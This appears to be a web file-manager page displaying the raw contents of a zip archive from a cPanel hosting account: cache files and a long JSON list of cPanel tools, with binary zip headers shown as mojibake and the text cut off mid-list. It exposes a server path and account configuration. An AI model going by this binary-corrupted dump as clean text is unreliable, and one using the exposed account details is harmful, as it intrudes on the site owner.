Файловый менеджер - Редактировать - /home/gqdcvggs/hizhat.com/valentin.zip
Назад
PK r �[�*��w w .cpanel/nvdata.cachenu ��٘� {"campaign.cpanel-koality-sidebar-app.6.10.24-dismissed":{"mtime":1729197596,"value":true},"cp-feature-showcase_dismissed":{"mtime":1729197596,"value":"1"},"terminal_warning_accepted":{"value":"1","mtime":1729197596},"CSSS_cpanel_api_tokens":{"value":"{\"apiTokensItemLister\":{\"pageSize\":20,\"sort\":{\"sortDirection\":\"asc\",\"sortBy\":\"label\"}}}","mtime":1729197596}}PK r �[~�� - .cpanel/datastore/_usr_local_cpanel_cpanel_-Fnu "�] � vps,vps PK r �[l1�\ + .cpanel/datastore/Cpanel::MysqlRun::runningnu "�] � {"version":"10.6.19-MariaDB"}PK r �[�Ķ� � 9 .cpanel/datastore/AVAILABLE_APPLICATIONS_CACHE_en_jupiternu "�] � {"needs_security_token":{},"groups":[{"group":"soft_div","items":[{"onclick":"","feature":"soft_div_icons","height":"48","description":"Softaculous Apps Installer","searchtext":"Softaculous Apps Installer","base64_png_image":"","url":"softaculous/index.live.php","group":"soft_div","acontent":"","subtype":"img","itemorder":"10","itemdesc":"Softaculous Apps Installer","width":"48","file":"soft_div_icons","type":"image","plainitemdesc":"Softaculous Apps Installer","target":"","imgtype":"icon"}],"desc":"Softaculous Apps Installer"},{"desc":"Preferences","group":"preferences","items":[{"height":"48","feature":"password","onclick":"","base64_png_image":"","searchtext":"password & security change facebook external google secure cpanel Password & Security","description":"Update your cPanel account’s password.","key":"change_password","group":"preferences","url":"passwd/index.html","implements":"Password_Change","width":"48","itemdesc":"Password & Security","itemorder":"1","subtype":"img","acontent":"","file":"change_password","target":"","plainitemdesc":"Password [output,amp] Security","type":"image","imgtype":"icon"},{"file":"change_language","subtype":"img","acontent":"","width":"48","itemdesc":"Change Language","itemorder":"2","imgtype":"icon","type":"image","target":"","plainitemdesc":"Change Language","searchtext":"language setlang Change Language","description":"Change your default language.","key":"change_language","base64_png_image":"","feature":"setlang","onclick":"","height":"48","implements":"Locale_Change","url":"setlang/index.html","group":"preferences"},{"url":"contact/index.html","group":"preferences","implements":"ContactInfo_Change","feature":"updatenotificationprefs || updatecontact","onclick":"","height":"48","searchtext":"contact email Contact Information","description":"Set contact information and preferences.","key":"contact_information","base64_png_image":"","type":"image","plainitemdesc":"Contact Information","target":"","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Contact Information","itemorder":"3","file":"contact_information"}]},{"items":[{"imgtype":"icon","if":"$SERVICEPROVIDED{'mysql'}","type":"image","plainitemdesc":"phpMyAdmin","target":"_blank","file":"php_my_admin","subtype":"img","acontent":"target=\"_blank\"","itemdesc":"phpMyAdmin","width":"48","itemorder":"1","implements":"Database_phpMyAdmin","url":"sql/PhpMyAdmin.html","group":"databases","searchtext":"phpMyAdmin database db","description":"Manage databases with phpMyAdmin.","key":"php_my_admin","base64_png_image":"","feature":"phpmyadmin","onclick":"","height":"48"},{"imgtype":"icon","if":"$SERVICEPROVIDED{'mysql'}","type":"image","plainitemdesc":"Manage My Databases","target":"","file":"mysql_databases","subtype":"img","acontent":"","itemorder":"2","width":"48","itemdesc":"Manage My Databases","implements":"Database_MySQL","url":"sql/index.html","group":"databases","key":"mysql_databases","searchtext":"MySQL Databases db Manage My Databases","description":"Create, manage, and delete databases and database users.","base64_png_image":"","onclick":"","feature":"mysql","height":"48"},{"feature":"mysql","onclick":"","height":"48","searchtext":"MySQL Database Wizard mysql database db","description":"Guided setup of a database, database users, and user privileges.","key":"mysql_database_wizard","base64_png_image":"","url":"sql/wizard1.html","group":"databases","acontent":"","subtype":"img","itemdesc":"Database Wizard","width":"48","itemorder":"3","file":"mysql_database_wizard","if":"$SERVICEPROVIDED{'mysql'}","type":"image","target":"","plainitemdesc":"Database Wizard","imgtype":"icon"},{"file":"remote_mysql","subtype":"img","acontent":"","width":"48","itemdesc":"Remote Database Access","itemorder":"4","imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'mysql'}","target":"","plainitemdesc":"Remote Database Access","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Remote MySQL db Remote Database Access","key":"remote_mysql","base64_png_image":"","feature":"mysql","onclick":"","height":"48","url":"sql/managehost.html","group":"databases"}],"group":"databases","desc":"Databases"},{"items":[{"feature":"sitepad_div_icons","onclick":"","height":"48","description":"SitePad Website Builder - Themes","searchtext":"SitePad Website Builder - Themes","base64_png_image":"","url":"../../3rdparty/sitepad/index.live.php","group":"sitepad_div","subtype":"img","acontent":"","width":"48","itemdesc":"SitePad Website Builder - Themes","itemorder":"10","file":"sitepad_div_icons","type":"image","plainitemdesc":"SitePad Website Builder - Themes","target":"","imgtype":"icon"}],"group":"sitepad_div","desc":"SitePad Website Builder - Themes"},{"group":"security","items":[{"itemorder":"1","width":"48","itemdesc":"SSH Access","acontent":"","subtype":"img","file":"ssh_access","target":"","plainitemdesc":"SSH Access","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"ssh","base64_png_image":"","key":"ssh_access","searchtext":"SSH access ssh/shell Access ssh secure shell sftp SSH Access","description":"Manage your public and private SSH keys.","group":"security","url":"telnet/index.html"},{"url":"denyip/index.html","group":"security","key":"ip_blocker","description":"Block access to your website for one or more IP addresses or fully qualified domain names.","searchtext":"IP Blocker ip deny manager","base64_png_image":"","onclick":"","feature":"ipdeny","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"IP Blocker","file":"ip_blocker","subtype":"img","acontent":"","itemorder":"2","itemdesc":"IP Blocker","width":"48"},{"height":"48","feature":"sslmanager","onclick":"","base64_png_image":"","searchtext":"SSL/TLS certificate key csr","description":"Create, manage, and delete SSL certificates, signing requests, and keys.","key":"ssl_tls","group":"security","url":"ssl/index.html","implements":"SSL_TLS_Manager","width":"48","itemdesc":"SSL/TLS","itemorder":"3","acontent":"","subtype":"img","file":"ssl_tls","plainitemdesc":"SSL/TLS","target":"","if":"$HASROLE{'UserSSL'}","type":"image","imgtype":"icon"},{"plainitemdesc":"Manage API Tokens","target":"","type":"image","imgtype":"icon","width":"48","itemdesc":"Manage API Tokens","itemorder":"4","acontent":"","subtype":"img","file":"api_tokens","group":"security","url":"api_tokens/index.html","implements":"API_Tokens_Manager","height":"48","feature":"apitokens","onclick":"","base64_png_image":"","description":"Create, manage, and delete API tokens.","searchtext":"Manage API Tokens access api connect login","key":"api_tokens"},{"imgtype":"icon","plainitemdesc":"Hotlink Protection","target":"","type":"image","if":"$HASROLE{'WebServer'}","file":"hotlink_protection","width":"48","itemdesc":"Hotlink Protection","itemorder":"4","subtype":"img","acontent":"","group":"security","url":"mime/hotlink.html","base64_png_image":"","description":"Prevent external sites and users from embedding your website’s content.","searchtext":"Hotlink Protection","key":"hotlink_protection","height":"48","feature":"hotlink","onclick":""},{"base64_png_image":"","description":"Detect unusual levels of activity in password-restricted directories.","searchtext":"Leech Protection protect","key":"leech_protection","height":"48","feature":"cpanelpro_leechprotect && webprotect","onclick":"","group":"security","url":"htaccess/leechprotect/leechprotect.html","file":"leech_protection","width":"48","itemdesc":"Leech Protection","itemorder":"5","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Leech Protection","target":"","if":"$HASROLE{'WebServer'}","type":"image"},{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","plainitemdesc":"ModSecurity","target":"","file":"mod_security","subtype":"img","acontent":"","itemorder":"7","width":"48","itemdesc":"ModSecurity","url":"security/mod_security/index.html","group":"security","key":"mod_security","searchtext":"ModSecurity mod security mod_security","description":"Enable or disable ModSecurity® for your domains.","base64_png_image":"","onclick":"","feature":"modsecurity","height":"48"},{"key":"tls_status","searchtext":"SSL/TLS Status","description":"View, upgrade, or renew your domains’ SSL certificates.","base64_png_image":"","onclick":"","feature":"sslinstall","height":"48","implements":"SSL_TLS_Status","url":"security/tls_status/","group":"security","file":"tls_status","acontent":"","subtype":"img","itemorder":"7","width":"48","itemdesc":"SSL/TLS Status","imgtype":"icon","type":"image","if":"$HASROLE{'UserSSL'}","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":""},{"acontent":"","subtype":"img","width":"48","itemdesc":"Lets Encrypt™ SSL","itemorder":"99","file":"letsencrypt-cpanel","type":"image","target":"","plainitemdesc":"Lets Encrypt™ SSL","imgtype":"icon","feature":"letsencrypt-cpanel","onclick":"","height":"48","searchtext":"Lets Encrypt™ SSL","description":"Lets Encrypt™ SSL","base64_png_image":"","url":"letsencrypt/letsencrypt.live.cgi","group":"security"},{"imgtype":"icon","target":"","plainitemdesc":"Imunify360","type":"image","file":"imunify360","itemorder":"10000","width":"48","itemdesc":"Imunify360","subtype":"img","acontent":"","implements":"Imunify_Home","group":"security","url":"imunify/imunify.live.pl","base64_png_image":"","description":"Imunify360","searchtext":"Imunify360","height":"48","onclick":"","feature":"imunify360"}],"desc":"Security"},{"desc":"Billing & Support","group":"whmcs","items":[{"description":"Créer un ticket support","searchtext":"Créer un ticket support","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAaVBMVEUAAACEtVaZwW+EtVaEtVaZwW9cjiiEtVaZwW+EtVaEtVaZwW+ZwW+EtVaZwW+EtVaXwG2ZwW+EtVaZwW+EtVaZwW+EtVaZwW+EtVaZwW9cjihmmDRrmzprnTlzoUN4qUiEtVaGsVmZwW98tPsQAAAAGnRSTlMAEBAgMDBAQEBgcHCAj4+fn5+vr7+/z8/v70sG19AAAADsSURBVHja7ZPZDoIwFAUPdUFRcQcsKNL//0hNLTf2RCx9NHFeCLczLSSAJ+poPLTgz48KL3Lj0/R+Qwu5Cy407/qgo4WLCwxze/k3w0jAdI3WTWdCAfMPfisoF6W9LiDk34JSQdlCQVhRQD6g7Ld5FviR2Mc+8A4hnwP2d8Yyg7D2g3tPkeDJ1t1NIWRuJAH5Q3CwJD8YJL5fnYTPwQGYvO8/gbD8GGRZ4Z2fQthQEOYf/EbQ1lrX7fjgqi3XsUGrHXxGNRDUfVDTwmYg0II/PyQcZKllLqTvWJ1+0ZHE+oj1Eesj1kesj6KK8B8h7csXeqVdoAAAAABJRU5ErkJggg==","onclick":"","height":48,"implements":"WHMCS_clientarea_submit_ticket","url":"integration/index.html?app=WHMCS_clientarea_submit_ticket","group":"whmcs","file":"WHMCS_clientarea_submit_ticket","acontent":"target=\"_blank\"","subtype":"img","itemorder":"11","width":48,"itemdesc":"Créer un ticket support","imgtype":"icon","type":"image","plainitemdesc":"Créer un ticket support","target":"_blank"}]},{"desc":"Email","group":"email","items":[{"url":"email_accounts/index.html","group":"email","implements":"Email_Accounts","feature":"popaccts","onclick":"","height":"48","description":"Create, manage, and delete email accounts.","searchtext":"email accounts mail pop imap smtp Email Accounts","key":"email_accounts","base64_png_image":"","type":"image","if":"$HASROLE{'MailReceive'}","plainitemdesc":"Email Accounts","target":"","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Email Accounts","width":"48","itemorder":"1","file":"email_accounts"},{"base64_png_image":"","searchtext":"Forwarders forward","description":"Configure an email address to forward copies of incoming emails to another address.","key":"forwarders","height":"48","feature":"forwarders || emaildomainfwd","onclick":"","implements":"Email_Forwarders","group":"email","url":"mail/fwds.html","file":"forwarders","width":"48","itemdesc":"Forwarders","itemorder":"3","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Forwarders","target":"","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}"},{"imgtype":"icon","target":"","plainitemdesc":"Email Routing","type":"image","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","file":"email_routing","itemdesc":"Email Routing","width":"48","itemorder":"4","acontent":"","subtype":"img","implements":"Email_Routing","group":"email","url":"mail/email_routing.html","base64_png_image":"","description":"Configure how the system routes a domain’s incoming mail.","searchtext":"MX Entry Email Routing dns","key":"email_routing","height":"48","feature":"changemx","onclick":""},{"subtype":"img","acontent":"","itemdesc":"Autoresponders","width":"48","itemorder":"5","file":"autoresponders","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","target":"","plainitemdesc":"Autoresponders","imgtype":"icon","feature":"autoresponders","onclick":"","height":"48","searchtext":"Autoresponders autoresponder auto responders","description":"Configure automatic email response messages.","key":"autoresponders","base64_png_image":"","url":"mail/autores.html","group":"email","implements":"Email_AutoResponders"},{"key":"default_address","description":"Set up a default email address.","searchtext":"Default Address","base64_png_image":"","onclick":"","feature":"defaultaddress","height":"48","implements":"Email_DefaultAddress","url":"mail/def.html","group":"email","file":"default_address","acontent":"","subtype":"img","itemorder":"6","itemdesc":"Default Address","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","plainitemdesc":"Default Address","target":""},{"implements":"Email_MailingLists","group":"email","url":"mail/lists.html","base64_png_image":"","searchtext":"Mailing Lists mailman","description":"Set up a single email address to send mail to multiple email addresses.","key":"mailing_lists","height":"48","feature":"lists","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Mailing Lists","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'} && !$CONFIF{'skipmailman'}","type":"image","file":"mailing_lists","itemdesc":"Mailing Lists","width":"48","itemorder":"7","acontent":"","subtype":"img"},{"implements":"Email_DeliveryReport","group":"email","url":"mail/route.html","base64_png_image":"","key":"track_delivery","description":"Display reports about email message delivery attempts.","searchtext":"Track Delivery Email Trace email mail delivery report","height":"48","onclick":"","feature":"emailtrace","imgtype":"icon","plainitemdesc":"Track Delivery","target":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","file":"track_delivery","itemorder":"8","width":"48","itemdesc":"Track Delivery","subtype":"img","acontent":""},{"height":"48","onclick":"","feature":"blockers","base64_png_image":"","key":"global_email_filters","searchtext":"Global Email Filters filter account level filtering","description":"Configure how your server filters all of the email that your domains’ email accounts receive.","group":"email","url":"mail/filters/userfilters.html","implements":"Email_AccountLevelFiltering","itemorder":"9","width":"48","itemdesc":"Global Email Filters","subtype":"img","acontent":"","file":"global_email_filters","plainitemdesc":"Global Email Filters","target":"","if":"$HASROLE{'MailReceive'}","type":"image","imgtype":"icon"},{"base64_png_image":"","key":"email_filters","searchtext":"User Filters Email user level Filtering filter Email Filters","description":"Configure how your server filters a specific email account’s received mail.","height":"48","onclick":"","feature":"blockers","implements":"Email_UserLevelFiltering","group":"email","url":"mail/filters/managefilters.html","file":"email_filters","itemorder":"10","width":"48","itemdesc":"Email Filters","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Email Filters","target":"","type":"image","if":"$HASROLE{'MailReceive'}"},{"target":"","plainitemdesc":"Email Deliverability","if":"$HASROLE{'MailSend'}","type":"image","imgtype":"icon","itemdesc":"Email Deliverability","width":"48","itemorder":"11","acontent":"","subtype":"img","file":"email_deliverability","group":"email","url":"email_deliverability/","implements":"Email_Authentication","height":"48","feature":"emailauth","onclick":"","base64_png_image":"","searchtext":"email Authentication Email Deliverability spf domain-keys authentication DKIM","description":"Identify problems with your mail-related DNS records for one or more of your domains.","key":"email_deliverability"},{"group":"email","url":"mail/csvimport.html","height":"48","onclick":"","feature":"csvimport","base64_png_image":"","key":"address_importer","searchtext":"Address Importer Import Addresses Forwarders Mail csv import xls import","description":"Use a spreadsheet or comma-separated value text file to quickly create mailboxes or forwarders.","plainitemdesc":"Address Importer","target":"","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon","itemorder":"12","width":"48","itemdesc":"Address Importer","subtype":"img","acontent":"","file":"address_importer"},{"file":"encryption","itemorder":"15","itemdesc":"Encryption","width":"48","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Encryption","type":"image","if":"$HASROLE{'MailReceive'}","base64_png_image":"","key":"encryption","description":"Create, manage, and delete GnuPG keys.","searchtext":"Encryption gpg keys GnuPG Keys","height":"48","onclick":"","feature":"pgp","group":"email","url":"gpg/index.html"},{"file":"boxtrapper","itemorder":"16","itemdesc":"BoxTrapper","width":"48","subtype":"img","acontent":"","imgtype":"icon","target":"","if":"$HASROLE{'MailReceive'} && !$CONFIF{'skipboxtrapper'}","type":"image","base64_png_image":"","key":"boxtrapper","description":"Filter spam from your inbox through challenge-response verification.","searchtext":"BoxTrapper filter","height":"48","onclick":"","feature":"boxtrapper","implements":"Email_BoxTrapper","group":"email","url":"mail/boxtrapper.html"},{"implements":"Email_Disk_Usage","url":"mail/manage_disk_usage/","group":"email","searchtext":"email accounts mail disk usage bytes mb size Email Disk Usage","description":"View your mailboxes and disk usage for each, and remove old or large messages.","key":"email_disk_usage","base64_png_image":"","feature":"popaccts && email_disk_usage","onclick":"","height":"48","imgtype":"icon","if":"$HASROLE{'MailReceive'}","type":"image","target":"","plainitemdesc":"Email Disk Usage","file":"email_disk_usage","subtype":"img","acontent":"","width":"48","itemdesc":"Email Disk Usage","itemorder":"20"}]},{"desc":"Software","items":[{"group":"software","url":"../../3rdparty/sitepad/index.live.php","implements":"SitePad_Home","height":"48","onclick":"","feature":"sitepad","base64_png_image":"","searchtext":"SitePad Website Builder","description":"SitePad Website Builder","plainitemdesc":"SitePad Website Builder","target":"","type":"image","imgtype":"icon","itemorder":"1","width":"48","itemdesc":"SitePad Website Builder","acontent":"","subtype":"img","file":"sitepad"},{"file":"wp_softaculous","acontent":"","subtype":"img","itemdesc":"WordPress Manager by Softaculous","width":"48","itemorder":"1","imgtype":"icon","type":"image","target":"","plainitemdesc":"WordPress Manager by Softaculous","description":"WordPress Manager by Softaculous","searchtext":"WordPress Manager by Softaculous","base64_png_image":"","feature":"wp_softaculous","onclick":"","height":"48","implements":"Softaculous_WordPress","url":"softaculous/index.live.php?act=wordpress","group":"software"},{"group":"software","url":"optimize/index.html","height":"32","onclick":"","feature":"optimizews","base64_png_image":"","key":"optimize_website","searchtext":"Optimize Website","description":"Configure your server to automatically compress specified types of content when visitors access that content.","plainitemdesc":"Optimize Website","target":"","type":"image","if":"$hasmoddeflate","imgtype":"icon","itemorder":"7","width":"32","itemdesc":"Optimize Website","subtype":"img","acontent":"","file":"optimize_website"},{"width":"48","itemdesc":"MultiPHP Manager","itemorder":"8","acontent":"","subtype":"img","file":"multiphp_manager","target":"","plainitemdesc":"MultiPHP Manager","if":"$is_ea4","type":"image","imgtype":"icon","height":"48","feature":"multiphp","onclick":"","base64_png_image":"","description":"Manage your PHP configuration.","searchtext":"MultiPHP Manager","key":"multiphp_manager","group":"software","url":"multiphp_manager/index.html"},{"url":"multiphp_ini_editor/index.html","group":"software","onclick":"","feature":"multiphp_ini_editor","height":"48","key":"multiphp_ini_editor","searchtext":"MultiPHP INI Editor php config","description":"Configure your website’s PHP settings.","base64_png_image":"","if":"$is_ea4","type":"image","plainitemdesc":"MultiPHP INI Editor","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"9","itemdesc":"MultiPHP INI Editor","width":"48","file":"multiphp_ini_editor"},{"imgtype":"icon","type":"image","target":"","plainitemdesc":"Softaculous Apps Installer","file":"softaculous","acontent":"","subtype":"img","width":"48","itemdesc":"Softaculous Apps Installer","itemorder":"99","implements":"Softaculous_Home","url":"softaculous/index.live.php","group":"software","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","base64_png_image":"","feature":"softaculous","onclick":"","height":"48"},{"base64_png_image":"","searchtext":"AccelerateWP","description":"AccelerateWP","height":"48","feature":"lvewpos","onclick":"","group":"software","url":"lveversion/wpos.live.pl","file":"lvewpos","width":"48","itemdesc":"AccelerateWP","itemorder":"999","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"AccelerateWP","type":"image"}],"group":"software"},{"desc":"Domains","items":[{"height":"48","feature":"sitejet","onclick":"","base64_png_image":"","searchtext":"sitejet builder domain website plugin Sitejet Builder","description":"Sitejet Builder","group":"domains","url":"sitejet/index.html","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","subtype":"img","acontent":"","file":"cpanel-sitejet-plugin","plainitemdesc":"Sitejet Builder","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"type":"image","plainitemdesc":"Domains","target":"","acontent":"","subtype":"img","itemorder":"2","width":"48","itemdesc":"Domains","file":"domains","url":"domains/index.html","group":"domains","implements":"Domains_domains","onclick":"","feature":"addondomains || subdomains || parkeddomains || sslinstall","height":"48","imagetype":"icon","key":"domains","description":"Create, manage, and delete multiple domains.","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect Domains","base64_png_image":""},{"searchtext":"Redirects rewrite modrewrite","description":"Send the visitors of a domain or particular page to a different URL.","key":"redirects","base64_png_image":"","feature":"redirects","onclick":"","height":"48","url":"mime/redirect.html","group":"domains","file":"redirects","acontent":"","subtype":"img","itemdesc":"Redirects","width":"48","itemorder":"6","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Redirects"},{"itemorder":"6","width":"48","itemdesc":"Zone Editor","acontent":"","subtype":"img","file":"zone_editor","target":"","plainitemdesc":"Zone Editor","type":"image","if":"$HASROLE{'DNS'}","imgtype":"icon","height":"48","onclick":"","feature":"simplezoneedit || changemx || zoneedit","base64_png_image":"","key":"zone_editor","description":"Create, manage, and delete DNS zone records.","searchtext":"zone editor advanced simple caa cname a aaaa txt dkim dmarc spf mx srv record dns dnssec Zone Editor","group":"domains","url":"zone_editor/index.html","implements":"Zone_Editor"},{"searchtext":"dynamic dns ddns ip subdomain Dynamic DNS","description":"Manage your dynamic DNS domains.","key":"dynamic_dns","base64_png_image":"","feature":"dynamicdns","onclick":"","height":48,"url":"dynamic-dns/index.html","group":"domains","file":"dynamic_dns","acontent":"","subtype":"img","width":48,"itemdesc":"Dynamic DNS","itemorder":9,"imgtype":"icon","if":"$HASROLE{'DNS'}","type":"image","target":"","plainitemdesc":"Dynamic DNS"}],"group":"domains"},{"desc":"Advanced","group":"advanced","items":[{"url":"ls_web_cache_manager.html.tt","group":"advanced","description":"LiteSpeed Web Cache Manager","searchtext":"LiteSpeed Web Cache Manager","base64_png_image":"","onclick":"","feature":"ls_web_cache_manager","height":"48","imgtype":"icon","type":"image","target":"","plainitemdesc":"LiteSpeed Web Cache Manager","file":"ls_web_cache_manager","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"LiteSpeed Web Cache Manager"},{"subtype":"img","acontent":"","itemdesc":"Terminal","width":"48","itemorder":"1","file":"terminal","type":"image","if":"$hasvalidshell && $HASROLE{'FileStorage'}","plainitemdesc":"Terminal","target":"","imgtype":"icon","feature":"ssh","onclick":"","height":"48","searchtext":"terminal bash tcsh command line shell ssh Terminal","description":"Access an in-browser terminal application for direct command-line access within a cPanel session.","key":"terminal","base64_png_image":"","url":"terminal/index.html","group":"advanced"},{"width":"48","itemdesc":"Cron Jobs","itemorder":"2","subtype":"img","acontent":"","file":"cron_jobs","target":"","plainitemdesc":"Cron Jobs","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","height":"48","feature":"cron","onclick":"","base64_png_image":"","searchtext":"Cron Jobs cronjob crontab edit","description":"Create, manage, and delete scheduled tasks.","key":"cron_jobs","group":"advanced","url":"cron/index.html","implements":"Cron_Home"},{"plainitemdesc":"Track DNS","target":"","type":"image","imgtype":"icon","itemorder":"3","width":"48","itemdesc":"Track DNS","subtype":"img","acontent":"","file":"track_dns","group":"advanced","url":"net/index.html","height":"48","onclick":"","feature":"nettools","base64_png_image":"","key":"track_dns","searchtext":"Track DNS traceroute tracert dnslookup dig network tools","description":"Perform traceroutes and domain lookups to diagnose network issues."},{"key":"indexes","description":"Define how the server displays a specific directory’s index to a visitor, or to disable index display for a directory.","searchtext":"Indexes index manager","base64_png_image":"","onclick":"","feature":"indexmanager","height":"48","url":"indexmanager/index.html","group":"advanced","file":"indexes","acontent":"","subtype":"img","itemorder":"4","itemdesc":"Indexes","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Indexes","target":""},{"width":"48","itemdesc":"Error Pages","itemorder":"5","subtype":"img","acontent":"","file":"error_pages","target":"","plainitemdesc":"Error Pages","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","height":"48","feature":"errpgs","onclick":"","base64_png_image":"","description":"Inform visitors about problems when they attempt to access your website.","searchtext":"Error Pages errorlog error_log error log","key":"error_pages","group":"advanced","url":"err/index.html"},{"target":"","plainitemdesc":"MIME Types","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","itemorder":"7","width":"48","itemdesc":"MIME Types","subtype":"img","acontent":"","file":"mime_types","group":"advanced","url":"mime/mime.html","height":"48","onclick":"","feature":"mime","base64_png_image":"","key":"mime_types","searchtext":"MIME Types mimetype types","description":"Relay information to the visitor’s browser about how to handle file extensions."}]},{"group":"files","items":[{"file":"file_manager","itemorder":"1","itemdesc":"File Manager","width":"48","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","plainitemdesc":"File Manager","target":"_blank","if":"$HASROLE{'FileStorage'}","type":"image","base64_png_image":"","key":"file_manager","searchtext":"File Manager file-manager","description":"Manage and edit your files.","height":"48","onclick":"","feature":"filemanager","implements":"FileManager_Home","group":"files","url":"filemanager/index.html"},{"width":"48","itemdesc":"Images","itemorder":"2","acontent":"","subtype":"img","file":"images","plainitemdesc":"Images","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","height":"48","feature":"cpanelpro_images","onclick":"","base64_png_image":"","searchtext":"image manager resize manager scaler thumbnailer format Images","description":"Modify and manage images saved to your cPanel account.","key":"images","group":"files","url":"cpanelpro/images.html"},{"url":"htaccess/index.html","group":"files","onclick":"","feature":"webprotect","height":"48","key":"directory_privacy","description":"Protect specific directories in your files on your cPanel account.","searchtext":"Directory Privacy passwordprotect password protect","base64_png_image":"","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Directory Privacy","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"3","width":"48","itemdesc":"Directory Privacy","file":"directory_privacy"},{"imgtype":"icon","if":"$HASROLE{'FileStorage'}","type":"image","target":"","plainitemdesc":"Disk Usage","file":"disk_usage","acontent":"","subtype":"img","width":"48","itemdesc":"Disk Usage","itemorder":"4","url":"diskusage/index.html","group":"files","description":"View information about your files, your directories, and how you use your disk space.","searchtext":"Disk Usage disk space usage disk-usage","key":"disk_usage","base64_png_image":"","feature":"diskusageviewer","onclick":"","height":"48"},{"group":"files","url":"webdav/accounts_webdav.html","height":"48","onclick":"","feature":"webdisk","base64_png_image":"","key":"web_disk","description":"Manage files on multiple types of devices.","searchtext":"Web Disk webdav webdisk","plainitemdesc":"Web Disk","target":"","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","imgtype":"icon","itemorder":"5","width":"48","itemdesc":"Web Disk","subtype":"img","acontent":"","file":"web_disk"},{"plainitemdesc":"FTP Accounts","target":"","type":"image","if":"$SERVICEPROVIDED{'ftp'}","imgtype":"icon","width":"48","itemdesc":"FTP Accounts","itemorder":"6","touch":"ftp","subtype":"img","acontent":"","file":"ftp_accounts","group":"files","url":"ftp/accounts.html","height":"48","feature":"ftpaccts","onclick":"","base64_png_image":"","description":"Create, manage, and delete FTP accounts.","searchtext":"FTP Accounts ftp create","key":"ftp_accounts"},{"onclick":"","feature":"version_control","height":"48","key":"version_control","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Git™ Version Control","description":"Host Git™ repositories.","base64_png_image":"","url":"version_control/index.html","group":"files","acontent":"","subtype":"img","itemorder":"10","width":"48","itemdesc":"Git™ Version Control","file":"version_control","type":"image","if":"$HASROLE{'FileStorage'}","target":"","plainitemdesc":"[asis,Git™] Version Control","imgtype":"icon"},{"feature":"jb5","onclick":"","height":"48","description":"JetBackup 5","searchtext":"JetBackup 5","base64_png_image":"","url":"jetbackup5/index.html","group":"files","implements":"JetBackup5","subtype":"img","acontent":"","itemdesc":"JetBackup 5","width":"48","itemorder":0,"file":"jb5","type":"image","target":"","plainitemdesc":"JetBackup 5","imgtype":"icon"}],"desc":"Files"},{"desc":"Metrics","items":[{"target":"","plainitemdesc":"Visitors","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemdesc":"Visitors","width":"48","itemorder":"1","subtype":"img","acontent":"","file":"visitors","group":"metrics","url":"stats/lastvisitors_landing.html","height":"48","feature":"lastvisits","onclick":"","base64_png_image":"","searchtext":"latest visitors Visitors","description":"Display detailed information about recent visits to your website.","key":"visitors"},{"url":"koality/signup/index.html","group":"metrics","description":"Site Quality Monitoring","searchtext":"website quality check monitor plugin Site Quality Monitoring","base64_png_image":"","onclick":"","feature":"koality","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Site Quality Monitoring","file":"cpanel-koality-plugin","subtype":"img","acontent":"","itemorder":"2","itemdesc":"Site Quality Monitoring","width":"48"},{"imgtype":"icon","target":"","plainitemdesc":"Errors","type":"image","if":"$HASROLE{'WebServer'}","file":"errors","width":"48","itemdesc":"Errors","itemorder":"2","subtype":"img","acontent":"","group":"metrics","url":"stats/errlog.html","base64_png_image":"","searchtext":"Errors errorlog error log","description":"View the most recent entries in the Apache® error logs.","key":"errors","height":"48","feature":"errlog","onclick":""},{"imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","target":"","plainitemdesc":"Bandwidth","file":"bandwidth","acontent":"","subtype":"img","itemdesc":"Bandwidth","width":"48","itemorder":"3","url":"stats/bandwidth.html","group":"metrics","description":"View bandwidth usage graphs by protocol over multiple lengths of time.","searchtext":"Bandwidth bandmin 